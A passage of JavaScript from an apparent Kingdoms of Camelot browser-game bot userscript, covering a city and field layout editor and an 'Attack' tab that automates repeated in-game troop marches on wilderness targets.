	var asccitybritGrid = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/AscCityBritonTileIDs.jpg">';
        document.getElementById('gridPicture').innerHTML = "";
	if(AscCityInd == true) {
		varAscCityType=Seed.cityData.city[t.city.city.id].prestigeInfo.prestigeType;
		if (varAscCityType == 1) {
			document.getElementById('gridPicture').innerHTML = asccityGrid;
		} else if (varAscCityType == 2) {
			document.getElementById('gridPicture').innerHTML = asccityfeyGrid;
		} else {
			document.getElementById('gridPicture').innerHTML = asccitybritGrid;
		}
	} else {
		document.getElementById('gridPicture').innerHTML = cityGrid;
	}
        var message='<TABLE id=pbLayoutBoxes width=100% height=0%><INPUT id=showDefaults type=submit value="Load Defaults"> <INPUT id=setDefaults type=submit value="Set Defaults"> <INPUT id=loadCottages type=submit value="Load All Cottages"> <INPUT id=loadBarracks type=submit value="Load All Barracks">';

        for (k=1;k<=32;k++){
            if (k==1){
                counter++
                message += '<TD>Tile1<SELECT id=tileID1><OPTION value="Wall">Wall</option>'
            }else{
               counter++;
               message += '<TD>Tile'+k+'<SELECT id=tileID'+k+'><OPTION value="Nothing">---Select---</option>'
      if(AscCityInd == true) {
         for (kk in AsccityBuildingNames){
                           message += '<OPTION value='+kk+'>'+AsccityBuildingNames[kk]+'</option>';
                  }
      } else {
         for (kk in cityBuildingNames){
                           message += '<OPTION value='+kk+'>'+cityBuildingNames[kk]+'</option>';
         }
      }
               message += '</options>';
         if (counter % 4 == 0)message+='</tr>';
         }
        }
        document.getElementById('layoutBoxes').innerHTML = message;
            for (pos=1;pos<=32;pos++){
      if(AscCityInd == true) {
                  if (Seed.buildings['city' + t.city.city.id]["pos" + pos] != undefined){
                     document.getElementById('tileID' + pos).value = AscbuildingTypes["type"+Seed.buildings['city' +t.city.city.id]["pos"+pos][0]];
                      document.getElementById('tileID' + pos).disabled = true;
                     logit("POS = " + pos + ' ' + AscbuildingTypes["type"+Seed.buildings['city' +t.city.city.id]["pos"+pos][0]] + ' TYPE = ' + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]);
                  }
      } else {
                  if (Seed.buildings['city' + t.city.city.id]["pos" + pos] != undefined){
                     document.getElementById('tileID' + pos).value = buildingTypes["type"+Seed.buildings['city' +t.city.city.id]["pos"+pos][0]];
                      document.getElementById('tileID' + pos).disabled = true;
                     logit("POS = " + pos + ' ' + buildingTypes["type"+Seed.buildings['city' +t.city.city.id]["pos"+pos][0]] + ' TYPE = ' + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]);
                  }
      }
            }
       
        document.getElementById('showDefaults').addEventListener('click', function(){
            for (pos=1;pos<=32;pos++){
                //logit(document.getElementById('tileID' + i).value)
                if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                    document.getElementById('tileID' + pos).value = layoutOptions['pos' +pos];
                }else{
                    //logit(unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0]);

                    document.getElementById('tileID' + pos).value = unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0];
                    document.getElementById('tileID' + pos).disabled = true;
                }
               }
        });
        document.getElementById('setDefaults').addEventListener('click', function(){
            for (pos=1;pos<=32;pos++){
                layoutOptions['pos'+pos] = document.getElementById('tileID' + pos).value

            }
            saveLayoutOptions();
        });
        document.getElementById('loadCottages').addEventListener('click', function(){
            for (pos=2;pos<=32;pos++){
                //logit(document.getElementById('tileID' + i).value)
                if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                    document.getElementById('tileID' + pos).value = "Cottage";
                }else{
                    //logit(unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0]);

                    document.getElementById('tileID' + pos).value = unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0];
                    document.getElementById('tileID' + pos).disabled = true;
                }
               }
        });
        document.getElementById('loadBarracks').addEventListener('click', function(){
            for (pos=2;pos<=32;pos++){
                //logit(document.getElementById('tileID' + i).value)
                if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                    document.getElementById('tileID' + pos).value = "Barracks";
                }else{
                    //logit(unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0]);

                    document.getElementById('tileID' + pos).value = unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0];
                    document.getElementById('tileID' + pos).disabled = true;
                }
               }
        });
        //code for set buttons
    },


    paintFieldGrid:function(fieldsDiv){
        var t = Tabs.startup;
        t.myDiv = fieldsDiv;
        t.where = "Field";
        var counter = 0;
        var fields = 13;
        var max = t.getCastleLevel();
        var fieldGrid = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/FieldsTileIDs.jpg">';
        document.getElementById('gridPicture').innerHTML = "";
        document.getElementById('gridPicture').innerHTML = fieldGrid;
        var mess='<TABLE id=pbLayoutBoxes width=100% height=0%><INPUT id=showFieldDefaults type=submit value="Load Defaults"><INPUT id=setFieldDefaults type=submit value="Set Defaults">';
        for (k=100;k<=max;k++){
            if (k != 140 && k != 141){
                counter++
                mess += '<TD>Tile'+k+'<SELECT id=tileID'+k+'><OPTION value="Nothing">---Select---</option>'
                      for (kk in fieldBuildingNames){
                          mess += '<OPTION value='+kk+'>'+ fieldBuildingNames[kk]+'</option>';
                    }
                mess += '</options>';
            if (counter % 4 == 0)mess+='<tr>';
            }
        }
        document.getElementById('layoutBoxes').innerHTML = mess;
        for (pos=100;pos<=max;pos++){
                if (Seed.buildings['city' + t.city.city.id]["pos" + pos] != undefined){
                    document.getElementById('tileID' + pos).value = unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0];
                    document.getElementById('tileID' + pos).disabled = true;
                }
            }
  
    document.getElementById('showFieldDefaults').addEventListener('click', function(){
            for (pos=100;pos<=max;pos++){
                //logit(document.getElementById('tileID' + i).value)
                if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                    document.getElementById('tileID' + pos).value = fieldlayoutOptions['pos' +pos];
                }else{
                    //logit(unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0]);
                    //logit(unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0])
                    document.getElementById('tileID' + pos).value = unsafeWindow.buildingcost["bdg" + Seed.buildings['city' +t.city.city.id]["pos"+pos][0]][0];
                    document.getElementById('tileID' + pos).disabled = true;
                }
               }
    });
    document.getElementById('setFieldDefaults').addEventListener('click', function(){
            for (pos=100;pos<=max;pos++){
                fieldlayoutOptions['pos'+pos] = document.getElementById('tileID' + pos).value;
            }
            savefieldlayoutOptions();
    });
    },
  
  
    show : function(){},
    hide : function(){},
} 
/********************************* ATTACK TAB ***********************************/
Tabs.Attack = {
	tabOrder : 70,
	tabLabel : unsafeWindow.g_js_strings.commonstr.attack,
	myDiv : null,
	rallypointlevel:null,
	error_code: 0,
	knt:{},
	trooparray:{1:"ST",2:"MM",3:"Scout",4:"Pike",5:"Sword",6:"Arch",7:"LC",8:"HC",9:"SW",10:"Ball",11:"Ram",12:"Cat",13:"Blood",14:"Exec",15:"Siege",16:"Flame",17:"Huss",18:"Halb",21:"Onager",22:"Saboteur",},
	msgtimer : null,


	/** window display **/
	init : function (div) {
		var t = Tabs.Attack;
		Options.crestMarchError = 0;

		t.sendCrestReport;	// check this every refresh
		t.msgtimer = setInterval(t.sendCrestReport, 1*60*1000);  
		t.timer = setTimeout(function(){ t.Rounds(1,0,0);}, CrestOptions.interval*1000);

		t.myDiv = div;
		var selbut=0;
		if (Options.crestbtns) AddSubTabLink('Crest',t.toggleCrestState, 'CrestToggleTab');
		var m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED ATTACKING FUNCTION</div><TABLE id=pbcrestfunctions width=100% height=0% class=pbTab><TR align="center">';
		if (!Options.crestRunning) {
			m += '<TD><INPUT id=Cresttoggle type=submit value="Attack = OFF"></td>';
			if (document.getElementById('CrestToggleTab')) document.getElementById('CrestToggleTab').innerHTML = '<span style="color: #CCC">Attack: Off</span>'
		} else {
			m += '<TD><INPUT id=Cresttoggle type=submit value="Attack = ON"></td>';
			if (document.getElementById('CrestToggleTab')) document.getElementById('CrestToggleTab').innerHTML = '<span style="color: #FFFF00">Attack: On</span>'
		}

		m += '<TD><INPUT id=CrestHelp type=submit value="HELP"></td>';
		m += '<td><INPUT id=showCrestTargets type=submit value="Show Targets"></td></tr></table>';
		m += '<DIV class=pbStat>OPTIONS</div>';
		m += '<TABLE width=100% height=0% class=pbTab><TR><TD><INPUT id=pbsendreport type=checkbox '+ (Options.crestreport?' CHECKED':'') +'\> Send attack report every ';
		m += '<INPUT id=pbsendcrestreportint value='+ Options.CrestMsgInterval +' type=text size=3 \>&nbsp;hours</td>\
			  <TD>Keep <INPUT id=pbcrestslots value='+ Options.CrestSlots +' type=text size=3 \>&nbsp;free rally point slots</td>\
			  <TD align=right>Attack interval <INPUT type=text size=3 value='+Options.Crestinterval+' id=pbcrest_interval />&nbsp;seconds&nbsp;</td></tr>';
		m += '<tr><td><INPUT id=pbRattacks type=checkbox '+(Options.CrestRand?'CHECKED':'')+'>Randomize attack order</td>';
		m += '<td colspan=2 align=right><INPUT id=DelTargets type=submit value="'+translate('Mass Delete')+': ">';
		m += ' <select id="pbattdelcity">';
		for (g in Cities.byID) { m +='<option value="'+Cities.byID[g].id+'">'+Cities.byID[g].name+'</option>'; };
		m += '</select><INPUT id=RelTargets type=submit value="'+translate('Mass Relocate To')+': ">';
		m += ' <select id="pbattrelcity">';
		for (g in Cities.byID) { m +='<option value="'+Cities.byID[g].id+'">'+Cities.byID[g].name+'</option>'; };
		m += '</select>&nbsp;</td></tr></table>';

		m += '<DIV class=pbStat>MERCENARY CAMP OPTIONS</div>';
		m += '<TABLE width=100% class=ptTab><TR><TD>&nbsp;Mercenary Target Chest Id:&nbsp;&nbsp;<INPUT id=pbmercitem type=text size=5 maxlength=8 value="'+ Options.CrestMercItem +'">&nbsp;Name:&nbsp;<span id=pbmercitemname></span></td><td align=right>Chest Target&nbsp;<INPUT id=pbmerctarget value='+ Options.CrestMercTarget +' type=text size=3 \>&nbsp;&nbsp;Current Amount:&nbsp;<span id=currmerc></span>&nbsp;&nbsp;&nbsp;&nbsp;</td></td></tr></table>';
		
		m += '<DIV id=pbNewAttack class=pbStat>ADD NEW ATTACKS</div><TABLE id=pbcrestopt     width=100% height=0% class=pbTab><TR align="center"></table>';
		m += '<DIV style="margin-bottom:10px;">&nbsp;Attack from City: <span id=crestcity></span></div>';
  
		m += '<TABLE class=ptTab><TR><TD>Target Co-ords:&nbsp;&nbsp;X:&nbsp;<INPUT id=pbcrestx type=text size=3 maxlength=3 value=""></td>';
		m += '<TD>Y:&nbsp;<INPUT id=pbcresty type=text size=3 maxlength=3 value=""></td></tr>';
		m += '<TR><TD><INPUT type=checkbox id=pbcrest_iswild /> Target is Wilderness</td><td>(if ticked will reduce wave 1 MM for subsequent attacks)</td></tr>';
		m += '<TR><TD><INPUT type=checkbox id=pbcrest_ismerc /> Target is Merc. Camp&nbsp;</td><td>&nbsp;(if ticked, this attack will stop running when chest target amount reached (See above))</td></tr></table>';
   

		var dude = unsafeWindow.unitnamedesctranslated;
		m += '<TABLE class=ptTab><TR><TD><INPUT type=checkbox id=pbcrest_rnd1 CHECKED /></td><TD><b>Wave 1</b>&nbsp;(initial):</td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_1_30.jpg alt='+dude.unt1[0]+'></td><TD><INPUT id=R1ST type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_2_30.jpg alt='+dude.unt2[0]+'></td><TD><INPUT id=R1MM type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_3_30.jpg alt='+dude.unt3[0]+'></td><TD><INPUT id=R1Scout type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_4_30.jpg alt='+dude.unt4[0]+'></td><TD><INPUT id=R1Pike type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_5_30.jpg alt='+dude.unt5[0]+'></td><TD><INPUT id=R1Sword type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_6_30.jpg alt='+dude.unt6[0]+'></td><TD><INPUT id=R1Arch type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_7_30.jpg alt='+dude.unt7[0]+'></td><TD><INPUT id=R1LC type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_8_30.jpg alt='+dude.unt8[0]+'></td><TD><INPUT id=R1HC type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_9_30.jpg alt='+dude.unt9[0]+'></td><TD><INPUT id=R1SW type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_10_30.jpg alt='+dude.unt10[0]+'></td><TD><INPUT id=R1Ball type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_11_30.jpg alt='+dude.unt11[0]+'></td><TD><INPUT id=R1Ram type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_12_30.jpg alt='+dude.unt12[0]+'></td><TD><INPUT id=R1Cat type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_13_30.jpg alt='+dude.unt13[0]+'></td><TD><INPUT id=R1Blood type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_14_30.jpg alt='+dude.unt14[0]+'></td><TD><INPUT id=R1Exec type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_15_30.jpg alt='+dude.unt15[0]+'></td><TD><INPUT id=R1Siege type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_16_30.jpg alt='+dude.unt16[0]+'></td><TD><INPUT id=R1Flame type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_17_30.jpg alt='+dude.unt17[0]+'></td><TD><INPUT id=R1Huss type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_18_30.jpg alt='+dude.unt18[0]+'></td><TD><INPUT id=R1Halb type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_21_30.jpg alt='+dude.unt21[0]+'></td><TD><INPUT id=R1Onager type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_22_30.jpg alt='+dude.unt22[0]+'></td><TD><INPUT id=R1Sabo type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td>&nbsp;</td><td>&nbsp;</td></tr>';
		m += '<TR><TD><INPUT type=checkbox id=pbcrest_rnd2 CHECKED /></td><TD><b>Wave 2</b>&nbsp;(recurring):</td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_1_30.jpg alt='+dude.unt1[0]+'></td><TD><INPUT id=R2ST type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_2_30.jpg alt='+dude.unt2[0]+'></td><TD><INPUT id=R2MM type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_3_30.jpg alt='+dude.unt3[0]+'></td><TD><INPUT id=R2Scout type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_4_30.jpg alt='+dude.unt4[0]+'></td><TD><INPUT id=R2Pike type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_5_30.jpg alt='+dude.unt5[0]+'></td><TD><INPUT id=R2Sword type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_6_30.jpg alt='+dude.unt6[0]+'></td><TD><INPUT id=R2Arch type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_7_30.jpg alt='+dude.unt7[0]+'></td><TD><INPUT id=R2LC type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_8_30.jpg alt='+dude.unt8[0]+'></td><TD><INPUT id=R2HC type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_9_30.jpg alt='+dude.unt9[0]+'></td><TD><INPUT id=R2SW type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_10_30.jpg alt='+dude.unt10[0]+'></td><TD><INPUT id=R2Ball type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_11_30.jpg alt='+dude.unt11[0]+'></td><TD><INPUT id=R2Ram type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_12_30.jpg alt='+dude.unt12[0]+'></td><TD><INPUT id=R2Cat type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_13_30.jpg alt='+dude.unt13[0]+'></td><TD><INPUT id=R2Blood type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_14_30.jpg alt='+dude.unt14[0]+'></td><TD><INPUT id=R2Exec type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_15_30.jpg alt='+dude.unt15[0]+'></td><TD><INPUT id=R2Siege type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_16_30.jpg alt='+dude.unt16[0]+'></td><TD><INPUT id=R2Flame type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_17_30.jpg alt='+dude.unt17[0]+'></td><TD><INPUT id=R2Huss type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_18_30.jpg alt='+dude.unt18[0]+'></td><TD><INPUT id=R2Halb type=text size=7 maxlength=7 value=0></td></tr>';
		m += '<tr><td></td><td></td><TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_21_30.jpg alt='+dude.unt21[0]+'></td><TD><INPUT id=R2Onager type=text size=7 maxlength=7 value=0></td>';
		m += '<TD>&nbsp;&nbsp;<img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_22_30.jpg alt='+dude.unt22[0]+'></td><TD><INPUT id=R2Sabo type=text size=7 maxlength=7 value=0></td></tr>';
		m += '</table>';
		m += '<DIV style="text-align:center; margin-top:15px"><INPUT id=pbSaveRouteCrest type=submit value="Add Attack"> <INPUT id=pbimpRoute type=submit value="Bulk Add from Search Results"><br>&nbsp;</div>';
    
		t.myDiv.innerHTML = m;
    
		document.getElementById('pbsendreport').addEventListener('change', function(){
			Options.crestreport = document.getElementById('pbsendreport').checked;
			saveOptions();t.sendCrestReport();
		}, false);
		document.getElementById('pbsendcrestreportint').addEventListener('change', function(){
			Options.CrestMsgInterval = parseInt(document.getElementById('pbsendcrestreportint').value);
			saveOptions();t.sendCrestReport();
		}, false);
		$("pbcrest_interval").addEventListener('change', function(e){
			Options.Crestinterval = parseIntNan(e.target.value);
			saveOptions();
		},false);
    
		document.getElementById("pbmercitem").addEventListener('change', function(e){
			Options.CrestMercItem = parseIntNan(e.target.value);
			saveOptions();
			t.UpdateMercTarget();
		},false);
		document.getElementById("pbmerctarget").addEventListener('change', function(e){
			Options.CrestMercTarget = parseIntNan(e.target.value);
			saveOptions();
			t.UpdateMercTarget();
		},false);
		$("pbcrestslots").addEventListener('change', function(e){
			Options.CrestSlots = parseIntNan(e.target.value);
			saveOptions();
		},false);
    
		for (var i=0;i<Seed.cities.length;i++){
			if (CrestOptions.CrestCity == Seed.cities[i][0]){
				selbut=i;
				break;
			}
		}
        
		t.UpdateMercTarget();

		t.tcp = new CdispCityPicker ('crestcityselect', document.getElementById('crestcity'), true, t.clickCitySelect, selbut);
    
		if (CrestOptions.CrestCity == 0) {
			CrestOptions.CrestCity = t.tcp.city.id
		}

		$('pbcrest_iswild').addEventListener('click', function(){
			CrestOptions.isWild = this.checked;
		},false);
    
		$('pbcrest_ismerc').addEventListener('click', function(){
			CrestOptions.isMerc = this.checked;
		},false);

		$('pbRattacks').addEventListener('click', function(){
			Options.CrestRand = this.checked;
			saveOptions();
		},false);
    
		$('pbcrest_rnd1').addEventListener('click', function(){
			var checked = (!this.checked);
			CrestOptions.RoundOne = this.checked;
			t.checkDisableRound('1',checked);
		},false);
		$('pbcrest_rnd2').addEventListener('click', function(){
			var checked = (!this.checked);
			CrestOptions.RoundTwo = this.checked;
			t.checkDisableRound('2',checked);
		},false);
		
		document.getElementById('pbcrestx').addEventListener('keyup', function(){ if (isNaN(document.getElementById('pbcrestx').value)) document.getElementById('pbcrestx').value='';}, false);
		document.getElementById('pbcresty').addEventListener('keyup', function(){ if (isNaN(document.getElementById('pbcresty').value)) document.getElementById('pbcresty').value='';}, false);

		document.getElementById('pbcrest_iswild').addEventListener('click', function(){CrestOptions.isWild = this.checked;} , false);
		document.getElementById('pbcrest_ismerc').addEventListener('click', function(){CrestOptions.isMerc = this.checked;} , false);

		document.getElementById('crestcity').addEventListener('click', function(){CrestOptions.CrestCity = t.tcp.city.id;} , false);
		document.getElementById('Cresttoggle').addEventListener('click', function(){t.toggleCrestState(this)} , false);
		document.getElementById('pbcrestx').addEventListener('change', function(){CrestOptions.X = document.getElementById('pbcrestx').value;;} , false);
		document.getElementById('pbcresty').addEventListener('change', function(){CrestOptions.Y = document.getElementById('pbcresty').value;} , false);

		document.getElementById('CrestHelp').addEventListener('click', function(){t.helpPop();} , false);
		document.getElementById('pbSaveRouteCrest').addEventListener('click', function(){t.addCrestRoute();}, false);
		document.getElementById('pbimpRoute').addEventListener('click', function(){t.addSearchAttacks();}, false);
		document.getElementById('showCrestTargets').addEventListener('click', function(){t.showCrestRoute();}, false);
		document.getElementById('DelTargets').addEventListener('click', function(){t.MassDelTargets();}, false);
		document.getElementById('RelTargets').addEventListener('click', function(){t.MassRelTargets();}, false);
		
      	for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			if (t.trooparray[i]) {
				t.addListeners(t.trooparray[i]);
			}	
		}
	},

	UpdateMercTarget : function() {
		if (unsafeWindow.itemlist["i"+Options.CrestMercItem]) {
			document.getElementById("pbmercitemname").innerHTML = unsafeWindow.itemlist["i"+Options.CrestMercItem].name;
		}
		else {
			document.getElementById("pbmercitemname").innerHTML = "<span style='color:#f00'>Unknown Item!</span>";
		}
		document.getElementById("currmerc").innerHTML = parseIntNan(Seed.items["i"+Options.CrestMercItem]);
		if (parseIntNan(Seed.items["i"+Options.CrestMercItem]) >= parseIntNan(Options.CrestMercTarget))
			unsafeWindow.jQuery('#currmerc').css('color', 'green');
		else	
			unsafeWindow.jQuery('#currmerc').css('color', 'black');
	},
	
	addListeners : function(Troop) {
		var T1 = 'R1'+Troop;
		if (document.getElementById(T1)) {
			document.getElementById(T1).addEventListener('keyup', function(){ if (isNaN(document.getElementById(T1).value)) document.getElementById(T1).value=0;}, false);
			document.getElementById(T1).addEventListener('change', function(){CrestOptions[T1] = document.getElementById(T1).value;} , false);
		}	
		var T2 = 'R2'+Troop;
		if (document.getElementById(T2)) {
			document.getElementById(T2).addEventListener('keyup', function(){ if (isNaN(document.getElementById(T2).value)) document.getElementById(T2).value=0;}, false);
			document.getElementById(T2).addEventListener('change', function(){CrestOptions[T2] = document.getElementById(T2).value;} , false);
		}	
	},

	checkDisableRound : function(r,disabled) {
		var t = Tabs.Attack;
      	for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			if (t.trooparray[i]) {
				$('R'+r+t.trooparray[i]).disabled = disabled;
				if (disabled) {
					$('R'+r+t.trooparray[i]).value = 0;
					CrestOptions['R'+r+t.trooparray[i]] = 0;
				}
			}	
		}
	},
	
	helpPop : function (){
		var helpText = '<BR>The crest tab was originally designed to attack one wild over and over again.<BR>';
		helpText += 'It will attack a wild in 2 waves, then abandon it and start over.<BR>';
		helpText += 'Make sure you have one free wild slot in your castle!<BR>';
		helpText += 'Just fill in the coordinates, select the attacking troops, and add to the attack list.<BR><BR>';
		helpText += 'This can now be used to attack any target. Simply untick the "is wild" box, and use wave 2 only.<BR>';
		helpText += 'Individual attacks can be temporarily paused or permanently deleted from the Attack List window.<BR><BR>';
		helpText += 'Troop numbers for wildernesses (from KOC WIKI):<BR>';
		helpText += '<A target="_tab" href="'+http+'koc.wikia.com/wiki/Wilderness">More can be found on Koc Wikia</a>';
		helpText += '<TABLE width=100%><TR><TD>Level</td><TD>Wave 1</td><TD>Wave 2</td><TD>Troop loses</td><TD>Min. Fletching</td></tr>';
		helpText += '<TR><TD>1</td><TD>n/a</td><TD>160 MM</td><TD>12 MM</td><TD>0</td></tr>';
		helpText += '<TR><TD>1</td><TD>n/a</td><TD>80 archers</td><TD>None</td><TD>1+</td></tr>';
		helpText += '<TR><TD>2</td><TD>5 MM</td><TD>130 archers</td><TD>1st Wave</td><TD>2+</td></tr>';
		helpText += '<TR><TD>3</td><TD>10 MM</td><TD>520 archers</td><TD>1st Wave</td><TD>3+</td></tr>';
		helpText += '<TR><TD>4</td><TD>20 MM</td><TD>1600 archers</td><TD>1st Wave</td><TD>4+</td></tr>';
		helpText += '<TR><TD>5</td><TD>50 MM</td><TD>2200 archers</td><TD>1st Wave</td><TD>6+</td></tr>';
		helpText += '<TR><TD>6</td><TD>100 MM</td><TD>3000 archers</td><TD>1st Wave</td><TD>7+</td></tr>';
		helpText += '<TR><TD>7</td><TD>150 MM</td><TD>6000 archers</td><TD>1st Wave</td><TD>8+</td></tr>';
		helpText += '<TR><TD>8</td><TD>299 MM + 1Bal</td><TD>9000 archers + 900 Bal</td><TD>1st Wave + 1 Archer</td><TD>9+</td></tr>';
		helpText += '<TR><TD>9</td><TD>599 MM + 1Bal</td><TD>13000 archers + 900 Bal</td><TD>1st Wave + 2 Archer</td><TD>10</td></tr>';
